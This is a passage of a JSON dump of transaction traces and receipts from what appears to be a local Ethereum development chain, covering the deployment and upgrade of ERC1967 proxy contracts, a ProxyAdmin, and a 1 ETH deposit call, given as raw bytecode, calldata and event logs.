61bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f79190610768565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610784565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff808211156106fc57600080fd5b818601915086601f83011261071057600080fd5b81358181111561071f57600080fd5b87602082850101111561073157600080fd5b6020830194508093505050509250925092565b60005b8381101561075f578181015183820152602001610747565b50506000910152565b6000825161077a818460208701610744565b9190910192915050565b60208152600082518060208401526107a3816040850160208701610744565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206f42262012bb1d1a07475f68d95d58d18353d78d57c71d0a11845bbf297d596564736f6c63430008180033","nonce":40,"gas_used":572955},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x22f86c","logs":[{"address":"0x70e0ba845a1a0f2da3359c97e0285013525ffc49","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},{"address":"0x70e0ba845a1a0f2da3359c97e0285013525ffc49","topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"}],"logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000000000400000000000000000000000000000000000000000000000000000000002200000000000000000000000000000400000000000000000000040004000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x1f1359dfd62a62c1a2cfc68f2840b3e0077619e94891dc28b236eeb3e44a1dd3","block_number":5},{"info":{"transaction_hash":"0x915e9f826dc9f67ede8161a0b96a52b57472804f5d53d99568b80d3cdf6546ec","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x9623609d0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe60000000000000000000000009a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084cf756fdf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":98625,"gas_limit":154991,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[2],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x5fbdb2315678afecb367f032d93f642f64180aa3","address":"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x4f1ef2860000000000000000000000009a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000084cf756fdf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":92267,"gas_limit":146358,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Call":0}]},{"parent":1,"children":[],"idx":2,"trace":{"depth":2,"success":true,"caller":"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6","address":"0x9a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0xcf756fdf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":79302,"gas_limit":131526,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x08f0470754946ccfbb446ff7fd2d6ae6af1bbdae19f85794c0cc5ed5e8ceb4f6","0x0000000000000000000000000000000000000000000000000000000000000000"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1},{"Log":2},{"Log":3},{"Log":4}]}],"exit":"Stop","out":"0x","nonce":24,"gas_used":121873},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x1dc11","logs":[{"address":"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae"],"data":"0x"},{"address":"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6","topics":["0x08f0470754946ccfbb446ff7fd2d6ae6af1bbdae19f85794c0cc5ed5e8ceb4f6","0x0000000000000000000000000000000000000000000000000000000000000000"],"data":"0x"},{"address":"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},{"address":"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6","topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},{"address":"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6","topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},{"address":"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"}],"logsBloom":"0x000000000400000000000000400000004000000000000000008000000000000000000000000000000000000000000000000000000080001000000000000000000000000000000000000004000000020000010000000000000002000000000000000000000200000400000001008008000000040000000000000000000000004000000001000000000000000000000000008000000000c0000000000000000000000000000000000000000000000440000000000000000000000000000000008000000020400000200000000000040000010000002008000000000000000020000000000000000000000000000000000000000000000000000000000000400000"},"block_hash":"0x2ca21a5b8e4017178a119d3ee54f86f95ccfdefe5a44c502fc75f5e13245f25c","block_number":21},{"info":{"transaction_hash":"0x8a82ebb4c93b5f01387e158ed3043e11b555ca7b7fb8d6ffde00bbbdeb4d3581","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x851356ae760d987e095750cceb3bc6014560891c","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x851356ae760d987e095750cceb3bc6014560891c","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0xde0b6b3a7640000","data":"0x4223d5510000000000000000000000007bc06c482dead17c0e297afbc32f6e63d3846650","output":"0x","gas_used":33769,"gas_limit":34151,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x851356ae760d987e095750cceb3bc6014560891c","address":"0x4c5859f0f772848b2d91f1d83e2fe57935348029","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0xde0b6b3a7640000","data":"0x4223d5510000000000000000000000007bc06c482dead17c0e297afbc32f6e63d3846650","output":"0x","gas_used":26474,"gas_limit":26474,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x0ea46f246ccfc58f7a93aa09bc6245a6818e97b1a160d186afe78993a3b194a0","0x0000000000000000000000007bc06c482dead17c0e297afbc32f6e63d3846650"],"data":"0x0000000000000000000000000000000000000000000000000de0b6b3a7640000"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x","nonce":58,"gas_used":55201},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0xd7a1","logs":[{"address":"0x851356ae760d987e095750cceb3bc6014560891c","topics":["0x0ea46f246ccfc58f7a93aa09bc6245a6818e97b1a160d186afe78993a3b194a0","0x0000000000000000000000007bc06c482dead17c0e297afbc32f6e63d3846650"],"data":"0x0000000000000000000000000000000000000000000000000de0b6b3a7640000"}],"logsBloom":"0x00000000000000000000000000000000000400000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000020000000000000000000008000000000000000000000040000000000000000000000000000000000080000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x64f3021f675e7972767b2d28f75b6b652b9faf4de3542ffc2cc9b66323c51ebc","block_number":20},{"info":{"transaction_hash":"0x50fd00fe762fce815221b3bb28e1a2fdbec79178a8de53708b64efbe3b151977","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x2bdcc0de6be1f7d2ee689a0342d76f52e8efaba3","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x2bdcc0de6be1f7d2ee689a0342d76f52e8efaba3","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x608060405234801561001057600080fd5b5060405161046a38038061046a83398101604081905261002f91610054565b600080546001600160a01b0319166001600160a01b0392909216919091179055610084565b60006020828403121561006657600080fd5b81516001600160a01b038116811461007d57600080fd5b9392505050565b6103d7806100936000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c8063bd90df701461003b578063fa534dc01461006b575b600080fd5b60005461004e906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61007e6100793660046101b7565b61008e565b6040519015158152602001610062565b60008054604051829182916001600160a01b03909116906100bf908c908c908c908c908c908c908c906024016102ed565b60408051601f198184030181529181526020820180516001600160e01b03166303e94d3760e61b179052516100f4919061035c565b600060405180830381855afa9150503d806000811461012f576040519150601f19603f3d011682016040523d82523d6000602084013e610134565b606091505b50915091508161017f5760405162461bcd60e51b81526020600482015260126024820152711cdd185d1a58d7d8d85b1b0819985a5b195960721b604482015260640160405180910390fd5b808060200190518101906101939190610378565b9a9950505050505050505050565b634e487b7160e01b600052604160045260246000fd5b600080600080600080600060e0888a0312156101d257600080fd5b87359650602088013595506040880135945060608801356bffffffffffffffffffffffff198116811461020457600080fd5b93506080880135925060a088013567ffffffffffffffff8082111561022857600080fd5b818a0191508a601f83011261023c57600080fd5b81358181111561024e5761024e6101a1565b604051601f8201601f19908116603f01168101908382118183101715610276576102766101a1565b816040528281528d602084870101111561028f57600080fd5b82602086016020830137600060208483010152809650505050505060c0880135905092959891949750929550565b60005b838110156102d85781810151838201526020016102c0565b838111156102e7576000848401525b50505050565b8781528660208201528560408201526bffffffffffffffffffffffff198516606082015283608082015260e060a0820152600083518060e084015261010061033b82828601602089016102bd565b60c0840194909452601f01601f191691909101909101979650505050505050565b6000825161036e8184602087016102bd565b9190910192915050565b60006020828403121561038a57600080fd5b8151801515811461039a57600080fd5b939250505056fea2646970667358221220355151a18763854f71011cb9636c419bc4393ef5d1924777a929c1e19aaa390964736f6c634300080c0033000000000000000000000000851356ae760d987e095750cceb3bc6014560891c","output":"0x608060405234801561001057600080fd5b50600436106100365760003560e01c8063bd90df701461003b578063fa534dc01461006b575b600080fd5b60005461004e906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61007e6100793660046101b7565b61008e565b6040519015158152602001610062565b60008054604051829182916001600160a01b03909116906100bf908c908c908c908c908c908c908c906024016102ed565b60408051601f198184030181529181526020820180516001600160e01b03166303e94d3760e61b179052516100f4919061035c565b600060405180830381855afa9150503d806000811461012f576040519150601f19603f3d011682016040523d82523d6000602084013e610134565b606091505b50915091508161017f5760405162461bcd60e51b81526020600482015260126024820152711cdd185d1a58d7d8d85b1b0819985a5b195960721b604482015260640160405180910390fd5b808060200190518101906101939190610378565b9a9950505050505050505050565b634e487b7160e01b600052604160045260246000fd5b600080600080600080600060e0888a0312156101d257600080fd5b87359650602088013595506040880135945060608801356bffffffffffffffffffffffff198116811461020457600080fd5b93506080880135925060a088013567ffffffffffffffff8082111561022857600080fd5b818a0191508a601f83011261023c57600080fd5b81358181111561024e5761024e6101a1565b604051601f8201601f19908116603f01168101908382118183101715610276576102766101a1565b816040528281528d602084870101111561028f57600080fd5b82602086016020830137600060208483010152809650505050505060c0880135905092959891949750929550565b60005b838110156102d85781810151838201526020016102c0565b838111156102e7576000848401525b50505050565b8781528660208201528560408201526bffffffffffffffffffffffff198516606082015283608082015260e060a0820152600083518060e084015261010061033b82828601602089016102bd565b60c0840194909452601f01601f191691909101909101979650505050505050565b6000825161036e8184602087016102bd565b9190910192915050565b60006020828403121561038a57600080fd5b8151801515811461039a57600080fd5b939250505056fea2646970667358221220355151a18763854f71011cb9636c419bc4393ef5d1924777a929c1e19aaa390964736f6c634300080c0033","gas_used":219187,"gas_limit":306105,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b50600436106100365760003560e01c8063bd90df701461003b578063fa534dc01461006b575b600080fd5b60005461004e906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61007e6100793660046101b7565b61008e565b6040519015158152602001610062565b60008054604051829182916001600160a01b03909116906100bf908c908c908c908c908c908c908c906024016102ed565b60408051601f198184030181529181526020820180516001600160e01b03166303e94d3760e61b179052516100f4919061035c565b600060405180830381855afa9150503d806000811461012f576040519150601f19603f3d011682016040523d82523d6000602084013e610134565b606091505b50915091508161017f5760405162461bcd60e51b81526020600482015260126024820152711cdd185d1a58d7d8d85b1b0819985a5b195960721b604482015260640160405180910390fd5b808060200190518101906101939190610378565b9a9950505050505050505050565b634e487b7160e01b600052604160045260246000fd5b600080600080600080600060e0888a0312156101d257600080fd5b87359650602088013595506040880135945060608801356bffffffffffffffffffffffff198116811461020457600080fd5b93506080880135925060a088013567ffffffffffffffff8082111561022857600080fd5b818a0191508a601f83011261023c57600080fd5b81358181111561024e5761024e6101a1565b604051601f8201601f19908116603f01168101908382118183101715610276576102766101a1565b816040528281528d602084870101111561028f57600080fd5b82602086016020830137600060208483010152809650505050505060c0880135905092959891949750929550565b60005b838110156102d85781810151838201526020016102c0565b838111156102e7576000848401525b50505050565b8781528660208201528560408201526bffffffffffffffffffffffff198516606082015283608082015260e060a0820152600083518060e084015261010061033b82828601602089016102bd565b60c0840194909452601f01601f191691909101909101979650505050505050565b6000825161036e8184602087016102bd565b9190910192915050565b60006020828403121561038a57600080fd5b8151801515811461039a57600080fd5b939250505056fea2646970667358221220355151a18763854f71011cb9636c419bc4393ef5d1924777a929c1e19aaa390964736f6c634300080c0033","nonce":55,"gas_used":290049},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x46d01","logs":[],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x33059d8f8045ab76330b67bb5295b073f693c43825fc25f858887aaefb6fe873","block_number":17},{"info":{"transaction_hash":"0xb67040237c5a060f35e1affe287ced14f9f791b93c70181084de7ef18010989e","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052348015600f57600080fd5b50601733601b565b606b565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61069a8061007a6000396000f3fe60806040526004361061007b5760003560e01c80639623609d1161004e5780639623609d1461011157806399a88ec414610124578063f2fde38b14610144578063f3b7dead1461016457600080fd5b8063204e1c7a14610080578063715018a6146100bc5780637eff275e146100d35780638da5cb5b146100f3575b600080fd5b34801561008c57600080fd5b506100a061009b366004610499565b610184565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c857600080fd5b506100d1610215565b005b3480156100df57600080fd5b506100d16100ee3660046104bd565b610229565b3480156100ff57600080fd5b506000546001600160a01b03166100a0565b6100d161011f36600461050c565b610291565b34801561013057600080fd5b506100d161013f3660046104bd565b610300565b34801561015057600080fd5b506100d161015f366004610499565b610336565b34801561017057600080fd5b506100a061017f366004610499565b6103b4565b6000806000836001600160a01b03166040516101aa90635c60da1b60e01b815260040190565b600060405180830381855afa9150503d80600081146101e5576040519150601f19603f3d011682016040523d82523d6000602084013e6101ea565b606091505b5091509150816101f957600080fd5b8080602001905181019061020d91906105ea565b949350505050565b61021d6103da565b6102276000610434565b565b6102316103da565b6040516308f2839760e41b81526001600160a01b038281166004830152831690638f283970906024015b600060405180830381600087803b15801561027557600080fd5b505af1158015610289573d6000803e3d6000fd5b505050505050565b6102996103da565b60405163278f794360e11b81526001600160a01b03841690634f1ef2869034906102c99086908690600401610607565b6000604051808303818588803b1580156102e257600080fd5b505af11580156102f6573d6000803e3d6000fd5b5050505050505050565b6103086103da565b604051631b2ce7f360e11b81526001600160a01b038281166004830152831690633659cfe69060240161025b565b61033e6103da565b6001600160a01b0381166103a85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6103b181610434565b50565b6000806000836001600160a01b03166040516101aa906303e1469160e61b815260040190565b6000546001600160a01b031633146102275760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811681146103b157600080fd5b6000602082840312156104ab57600080fd5b81356104b681610484565b9392505050565b600080604083850312156104d057600080fd5b82356104db81610484565b915060208301356104eb81610484565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060006060848603121561052157600080fd5b833561052c81610484565b9250602084013561053c81610484565b9150604084013567ffffffffffffffff81111561055857600080fd5b8401601f8101861361056957600080fd5b803567ffffffffffffffff811115610583576105836104f6565b604051601f8201601f19908116603f0116810167ffffffffffffffff811182821017156105b2576105b26104f6565b6040528181528282016020018810156105ca57600080fd5b816020840160208301376000602083830101528093505050509250925092565b6000602082840312156105fc57600080fd5b81516104b681610484565b60018060a01b0383168152604060208201526000825180604084015260005b818110156106435760208186018101516060868401015201610626565b506000606082850101526060601f19601f830116840101915050939250505056fea26469706673582212208c9b9e088f3575078e1e546bdacf514367bf3b048de9f62c408ca085a2a59c4b64736f6c634300081b0033","output":"0x60806040526004361061007b5760003560e01c80639623609d1161004e5780639623609d1461011157806399a88ec414610124578063f2fde38b14610144578063f3b7dead1461016457600080fd5b8063204e1c7a14610080578063715018a6146100bc5780637eff275e146100d35780638da5cb5b146100f3575b600080fd5b34801561008c57600080fd5b506100a061009b366004610499565b610184565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c857600080fd5b506100d1610215565b005b3480156100df57600080fd5b506100d16100ee3660046104bd565b610229565b3480156100ff57600080fd5b506000546001600160a01b03166100a0565b6100d161011f36600461050c565b610291565b34801561013057600080fd5b506100d161013f3660046104bd565b610300565b34801561015057600080fd5b506100d161015f366004610499565b610336565b34801561017057600080fd5b506100a061017f366004610499565b6103b4565b6000806000836001600160a01b03166040516101aa90635c60da1b60e01b815260040190565b600060405180830381855afa9150503d80600081146101e5576040519150601f19603f3d011682016040523d82523d6000602084013e6101ea565b606091505b5091509150816101f957600080fd5b8080602001905181019061020d91906105ea565b949350505050565b61021d6103da565b6102276000610434565b565b6102316103da565b6040516308f2839760e41b81526001600160a01b038281166004830152831690638f283970906024015b600060405180830381600087803b15801561027557600080fd5b505af1158015610289573d6000803e3d6000fd5b505050505050565b6102996103da565b60405163278f794360e11b81526001600160a01b03841690634f1ef2869034906102c99086908690600401610607565b6000604051808303818588803b1580156102e257600080fd5b505af11580156102f6573d6000803e3d6000fd5b5050505050505050565b6103086103da565b604051631b2ce7f360e11b81526001600160a01b038281166004830152831690633659cfe69060240161025b565b61033e6103da565b6001600160a01b0381166103a85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6103b181610434565b50565b6000806000836001600160a01b03166040516101aa906303e1469160e61b815260040190565b6000546001600160a01b031633146102275760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811681146103b157600080fd5b6000602082840312156104ab57600080fd5b81356104b681610484565b9392505050565b600080604083850312156104d057600080fd5b82356104db81610484565b915060208301356104eb81610484565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060006060848603121561052157600080fd5b833561052c81610484565b9250602084013561053c81610484565b9150604084013567ffffffffffffffff81111561055857600080fd5b8401601f8101861361056957600080fd5b803567ffffffffffffffff811115610583576105836104f6565b604051601f8201601f19908116603f0116810167ffffffffffffffff811182821017156105b2576105b26104f6565b6040528181528282016020018810156105ca57600080fd5b816020840160208301376000602083830101528093505050509250925092565b6000602082840312156105fc57600080fd5b81516104b681610484565b60018060a01b0383168152604060208201526000825180604084015260005b818110156106435760208186018101516060868401015201610626565b506000606082850101526060601f19601f830116840101915050939250505056fea26469706673582212208c9b9e088f3575078e1e546bdacf514367bf3b048de9f62c408ca085a2a59c4b64736f6c634300081b0033","gas_used":362115,"gas_limit":494948,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x60806040526004361061007b5760003560e01c80639623609d1161004e5780639623609d1461011157806399a88ec414610124578063f2fde38b14610144578063f3b7dead1461016457600080fd5b8063204e1c7a14610080578063715018a6146100bc5780637eff275e146100d35780638da5cb5b146100f3575b600080fd5b34801561008c57600080fd5b506100a061009b366004610499565b610184565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c857600080fd5b506100d1610215565b005b3480156100df57600080fd5b506100d16100ee3660046104bd565b610229565b3480156100ff57600080fd5b506000546001600160a01b03166100a0565b6100d161011f36600461050c565b610291565b34801561013057600080fd5b506100d161013f3660046104bd565b610300565b34801561015057600080fd5b506100d161015f366004610499565b610336565b34801561017057600080fd5b506100a061017f366004610499565b6103b4565b6000806000836001600160a01b03166040516101aa90635c60da1b60e01b815260040190565b600060405180830381855afa9150503d80600081146101e5576040519150601f19603f3d011682016040523d82523d6000602084013e6101ea565b606091505b5091509150816101f957600080fd5b8080602001905181019061020d91906105ea565b949350505050565b61021d6103da565b6102276000610434565b565b6102316103da565b6040516308f2839760e41b81526001600160a01b038281166004830152831690638f283970906024015b600060405180830381600087803b15801561027557600080fd5b505af1158015610289573d6000803e3d6000fd5b505050505050565b6102996103da565b60405163278f794360e11b81526001600160a01b03841690634f1ef2869034906102c99086908690600401610607565b6000604051808303818588803b1580156102e257600080fd5b505af11580156102f6573d6000803e3d6000fd5b5050505050505050565b6103086103da565b604051631b2ce7f360e11b81526001600160a01b038281166004830152831690633659cfe69060240161025b565b61033e6103da565b6001600160a01b0381166103a85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6103b181610434565b50565b6000806000836001600160a01b03166040516101aa906303e1469160e61b815260040190565b6000546001600160a01b031633146102275760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811681146103b157600080fd5b6000602082840312156104ab57600080fd5b81356104b681610484565b9392505050565b600080604083850312156104d057600080fd5b82356104db81610484565b915060208301356104eb81610484565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060006060848603121561052157600080fd5b833561052c81610484565b9250602084013561053c81610484565b9150604084013567ffffffffffffffff81111561055857600080fd5b8401601f8101861361056957600080fd5b803567ffffffffffffffff811115610583576105836104f6565b604051601f8201601f19908116603f0116810167ffffffffffffffff811182821017156105b2576105b26104f6565b6040528181528282016020018810156105ca57600080fd5b816020840160208301376000602083830101528093505050509250925092565b6000602082840312156105fc57600080fd5b81516104b681610484565b60018060a01b0383168152604060208201526000825180604084015260005b818110156106435760208186018101516060868401015201610626565b506000606082850101526060601f19601f830116840101915050939250505056fea26469706673582212208c9b9e088f3575078e1e546bdacf514367bf3b048de9f62c408ca085a2a59c4b64736f6c634300081b0033","nonce":0,"gas_used":443273},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x6c389","logs":[{"address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x000000000